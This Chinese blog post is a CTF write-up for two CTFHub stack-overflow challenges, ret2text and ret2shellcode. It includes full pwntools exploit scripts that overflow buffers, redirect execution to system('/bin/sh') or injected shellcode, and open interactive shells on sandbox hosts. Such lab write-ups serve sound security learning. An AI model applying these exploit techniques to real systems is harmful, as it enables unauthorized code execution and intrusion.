CTFHub[PWN技能树]——栈溢出

2 篇文章 1 订阅


一、ret2text

  1. 例行检查,64位程序,没有开启任何保护
    在这里插入图片描述
  2. 本地运行一下情况,看看大概的情况
    在这里插入图片描述
  3. 64位ida载入,检索程序里的字符串发现了bin/sh
    在这里插入图片描述
    要满足条件才可以执行,但是我们可以直接跳转到0x4007B8去system(‘/bin/sh’)
    在这里插入图片描述
  4. 看main函数
    在这里插入图片描述
    第8行,gets函数读入没有限制数据的长度,明显的溢出,溢出ret到执行system(‘/bin/sh’)的地址即可
from pwn import *

#p=process('./pwn1')
p=remote("challenge-79d4d6a23952a67b.sandbox.ctfhub.com",24293)

payload='a'*(0x70+8)+p64(0x4007b8)

p.sendline(payload)

p.interactive()

在这里插入图片描述

二、ret2shellcode

  1. 例行检查,64位程序,仍然未开启任何保护
    在这里插入图片描述
  2. 本地运行一下,看看大概的情况,可以看到,给了我们一个栈上的地址
    在这里插入图片描述
  3. 64位ida载入,看main函数
    在这里插入图片描述
    一开始给了我们参数buf在栈上的地址,然后读入buf,12行,buf只有0x10,但是读入了0x400,明显的溢出漏洞
  4. 这题没有给我们提供现成的后门,加上没有nx保护,可以直接执行shellcode来获取shell
    设置一下环境参数,之后直接用pwntools生成shellcode
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
  1. 有了shellcode,然后就是shellcode写到哪里的问题
    本地运行的时候加上上图的代码,可以知道一开始输出了buf参数的地址,接收一下就获得了栈上的地址
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15:-1], 16) 

我们将shellcode写入ret,这样程序在返回的时候就直接去执行我们的shellcode了
所以我们的shellcode的地址是,0x10是buf的大小,第一个0x8是ebp,第二个是ret

shellcode_addr = buf_addr + 0x10+0x8+0x8 
  1. shellcode有了,shellcode的地址也有了,现在只要往这个地址传入shellcode即可完成利用
payload = 'a' * 24 + p64(shellcode_addr) + shellcode

完整exp:

#coding=utf-8
from pwn import *
import re

#context.log_level = "debug"
context.arch = 'amd64'

p=remote("challenge-b841961e5e4c03f8.sandbox.ctfhub.com",37282)

#p=process('./pwn2')
#gdb.attach(p)

buf_addr = p.recvuntil("]")

buf_addr = int(buf_addr[-15:-1], 16) 

shellcode_addr = buf_addr + 32  


shellcode = asm(shellcraft.sh())

payload = 'a' * 24 + p64(shellcode_addr) + shellcode
p.recv()
p.sendline(payload)
p.interactive()

在这里插入图片描述

技能树的题目现在就出了这么多,出了新的继续更新,接下来尝试历年真题

  • 4
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值